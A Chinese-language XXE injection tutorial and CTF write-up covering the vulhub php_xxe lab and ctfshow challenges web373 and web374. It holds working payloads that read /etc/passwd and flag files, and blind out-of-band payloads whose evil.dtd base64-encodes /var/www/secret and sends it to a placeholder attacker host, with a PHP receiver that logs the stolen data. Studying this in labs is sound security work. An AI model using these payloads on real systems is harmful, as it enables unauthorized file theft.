简单描述xxe:
内部声明实体,格式为
<?xml version="1.0"?>
<!DOCTYPE name[ //DTD内部声明
<!ENTITY errorr0 "hello world"> //DTD实体
]>
<user><username>&errorr0;</username><password>123</password></user>
引用外部实体
<?xml version="1.0"?>
<!DOCTYPE name[ //DTD内部声明
<!ENTITY errorr0 SYSTEM "http://127.0.0.1"> //DTD外部实体
]>
<user><username>&errorr0;</username><password>123</password></user>
如何区分,一开始我也看不懂有啥区别,最后是啥发现了内部实体就是引用得值是已经定义好了,而外部实体的值就是通过某些函数比如system来获取,不是提前定义好的。
参数实体
上面的内部还是外部实体的值,都是再文档外面调用的,而如果我们想在里面调用,就需要用到参数实体。
<!ENTITY % 实体名称 "实体的值">
%实体名称 ;----- 相当于调用
<!DOCTYPE name[
<!ENTITY % a "hello">
<!ENTITY % b "&a; errorr0">
%b;
]>
最后输出的答案为:hello errorr0
可以看出%b在dtd的里面。
内部实体+参数实体混合调用
<?xml version="1.0"?>
<!DOCTYPE name[
<!ENTITY % errorr1 "<!ENTITY errorr2 'hello no'>">
%errorr1;
]>
<user><username>&errorr2;</username><password>123</password></user>
先调用参数实体,然后数据中又是一个实体,再在文档元素中调用&errorr2; 。
预定义实体,实体引入字符
当然除了这些,还有一种方式代替一些符号比如百分号%,参数实体的百分号%也不能出现在实体值中,这个时候我们可以用Unicode编码,%=% 也可以写做16进制 ,%=%=%
外部实体+参数实体的二重调用
<?xml version="1.0"?>
<!DOCTYPE name[
<!ENTITY % errorr1 SYSTEM "http://127.0.0.1/flag.txt">
%errorr1;
%errorr;
]>
<user><username>&errorr2;</username><password>123</password></user>
flag.txt中内容如下:
<!ENTITY % errorr "<!ENTITY errorr2 'yes i am a flag'>">
盲注xxe
因为上面的都是有回显的题目都会有print或者echo之类输出的语句, 但是如果没有回显了怎么办呢?
构造的XML
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/xxe/php_xxe/flag.XML"> //这是需要带出去的一串数据
<!ENTITY % remote SYSTEM "http://服务器IP/errorr.txt"> //服务器中放入嵌套数据
%remote;
%all;
]>
<root>&send;</root>
errorr.txt
<!ENTITY % all "<!ENTITY send SYSTEM 'http://服务器IP地址/1.php?file=%file;'>">
1.php
<?php
file_put_contents("1.txt", $_GET['file']) ;
?>
其实就是通过了参数实体+外部实体,首先调用%romore获得errror.txt中的实体,然后调用%all获得了后面的send最后调用外部实体,调用了1.php中的内容,然后把file里面的数据放到了1.txt中,这样就把数据外带了。
因为DTD外部实体中带入的 SYSTEM 可以执行http:// 、 file:// 、 https:// ,因此不用怀疑,我们还能进行php://伪协议的利用,比如php://filter中我们可以用base64或者rot13编码一些文件或者网站的源码供我们读取。
XXE过滤ENTITY关键字
完全可以用上面的方式把ENITY放到,服务器上的一个文件中然后读取
复现的环境:
- PHP 7.0.30
- libxml 2.8.0
- libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
这里就不细写知识点了,这个链接挺全的。主要通过题目和复现来逐渐理解。
首先复现vulhub上的php_xxe
环境搭建:找到php_xxe的 那个
然后直接docker-compose up -d,然后访问8080端口就可以了。
(ps:一定保证8080的端口是空闲的,这里我的kali以前鼓捣过,8080端口开过apache信道服务,捣鼓不明白 只能重开一台kali)
目录下有dom.php、index.php、SimpleXMLElement.php、simplexml_load_string.php其中dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞。
dom.php: DOMDocument:: loadXML()//从字符串加载XML文档
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
SimpleXMLElement.php:SimpleXMLElement类标识xml文档中的元素
<?php
$data=file_get_contents('php://input');
$xml=new SimpleXMLElent($data);
simplexml_load_string.php: simplexml_load_string()//接受格式正确的XML字符串,并将其作为对象返回
<?php
$data=file_get_contents('php://input');
$xml=simplexml_load_string($data);
echo $xml->name;
burp抓包进行修改,加入如下代码:这是使用的外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
<name>&xxe;</name>
</test>
发现执行成功。
==============
web373
<?php
error_reporting(0);
libxml_disable_entity_loader(false); //允许加载外部实体
$xmlfile = file_get_contents('php://input');//xml文件来源于数据流
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 加载xml实体,参数为替代实体,加载外部子集
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;//结点嵌套
echo $ctfshow;
}
highlight_file(__FILE__);
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
这里ctfshow的标签因为是结点嵌套所以必须存在, 然后&xxe后面的分号一定要有。
web374
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里没有print echo所以无回显,所以我们需要找个东西来外带我们要获取的数据。
evil.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/secret">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://x.x.x.x:9999/?p=%file;'>">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % dtd SYSTEM "http://x.x.x.x/evil.txt">
%dtd;%int;%send; ]>
需要在服务器上开启web功能。
过滤http头、xml这些可以换个编码绕过
ps感想:
弄这个apache搞了好几天一直报错,实在是顶不住了,如果有会的师傅可以滴滴我,感激不尽呀!!!